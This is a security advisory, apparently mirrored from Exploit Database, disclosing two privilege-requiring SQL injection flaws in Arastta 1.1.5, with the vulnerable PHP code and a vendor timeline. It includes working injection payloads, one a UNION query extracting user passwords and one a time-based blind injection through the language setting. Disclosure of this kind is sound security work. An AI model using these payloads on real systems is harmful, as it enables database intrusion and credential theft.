Arastta 1.1.5 – SQL Injection

• Exploit Database
• 15 阅读

• 作者： Curesec Research Team
  日期： 2015-12-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/39085/

• Security Advisory - Curesec Research Team
  
  1. Introduction
  
  Affected Product:Arastta 1.1.5
  Fixed in:not fixed
  Fixed Version Link:n/a
  Vendor Website:http://arastta.org/
  Vulnerability Type:SQL Injection
  Remote Exploitable:Yes
  Reported to vendor:11/21/2015
  Disclosed to public: 12/21/2015
  Release mode:Full Disclosure
  CVE: n/a
  CreditsTim Coen of Curesec GmbH
  
  2. Overview
  
  Arastta is an eCommerce software written in PHP. In version 1.1.5, it is
  vulnerable to two SQL injection vulnerabilities, one normal injection when
  searching for products via tags, and one blind injection via the language
  setting. Both of them require a user with special privileges to trigger.
  
  3. SQL Injection 1
  
  CVSS
  
  Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P
  
  Description
  
  There is an SQL Injection when retrieving products.
  
  Currently, only the "filter" variable is vulnerable. Note that the "tag_name"
  variable would also be vulnerable to SQL injection, if there wasn't a filter
  that forbid single quotes in the URL. As defense in depth, it might be a good
  idea to sanitize that value here as well.
  
  Note that an account with the right "Catalog -> Filters" is needed to exploit
  this issue.
  
  Proof of Concept
  
  
  POST /Arastta/admin/index.php?route=catalog/product/autocomplete&token=3d6cfa8f9f602a4f47e0dfbdb989a469&filter_name=a&tag_name= HTTP/1.1
  
  tag_text[][value]=abc') union all select password from gv4_user -- -
  
  Code
  
  
  /admin/model/catalog/product.php
  public function getTags($tag_name, $filter_tags = null) {
  [...]
  $query = $this->db->query("SELECT DISTINCT(tag) FROM `" . DB_PREFIX . "product_description` WHERE `tag` LIKE '%" . $tag_name . "%'" . $filter);
  
  /admin/controller/catalog/product.php
  public function autocomplete() {
  [...]
  if (isset($this->request->get['tag_name'])) {
  
  $this->load->model('catalog/product');
  
  if (isset($this->request->get['tag_name'])) {
  $tag_name = $this->request->get['tag_name'];
  } else {
  $tag_name = '';
  }
  
  $filter = null;
  
  if(isset($this->request->post['tag_text'])) {
  $filter = $this->request->post['tag_text'];
  }
  
  $results = $this->model_catalog_product->getTags($tag_name, $filter);
  
  foreach ($results as $result) {
  $json[] = array(
  'tag' => $result,
  'tag_id' => $result
  );
  }
  }
  
  4. SQL Injection 2
  
  CVSS
  
  Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P
  
  Description
  
  There is a second order timing based SQL injection when choosing the language
  setting.
  
  An admin account with the right "Setting -> Setting" is needed to exploit this
  issue.
  
  Alternatively, a user with the right "Localisation -> Languages" can inject a
  payload as well. However, a user with the right "Setting -> Setting" is still
  needed to choose the malicious language to trigger the payload.
  
  Proof of Concept
  
  
  Visit the setting page:
  http://localhost/Arastta/admin/index.php?route=setting/setting
  
  For the config_language and config_admin_language parameters use:
  en' AND IF(SUBSTRING(version(), 1, 1)='5',BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null) -- -
  
  Visiting any site will trigger the injected code.
  
  Code
  
  
  /Arastta/system/library/utility.php
  public function getDefaultLanguage(){
  if (!is_object($this->config)) {
  return;
  }
  
  $store_id = $this->config->get('config_store_id');
  
  if (Client::isAdmin()){
  $sql = "SELECT * FROM " . DB_PREFIX . "setting WHERE `key` = 'config_admin_language' AND `store_id` = '" . $store_id . "'";
  } else {
  $sql = "SELECT * FROM " . DB_PREFIX . "setting WHERE `key` = 'config_language' AND `store_id` = '" . $store_id . "'";
  }
  $query = $this->db->query($sql);
  $code = $query->row['value'];
  
  $language = $this->db->query("SELECT * FROM " . DB_PREFIX . "language WHERE `code` = '" . $code . "'");
  
  return $language->row;
  }
  
  5. Solution
  
  This issue was not fixed by the vendor.
  
  6. Report Timeline
  
  11/21/2015 Informed Vendor about Issue (no reply)
  12/10/2015 Reminded Vendor of Disclosure Date (no reply)
  12/17/2015 Disclosed to public
  
  
  Blog Reference:
  https://blog.curesec.com/article/blog/Arastta-115-SQL-Injection-131.html
   
  --
  blog:https://blog.curesec.com
  tweet: https://twitter.com/curesec
  
  Curesec GmbH
  Curesec Research Team
  Romain-Rolland-Str 14-24
  13089 Berlin, Germany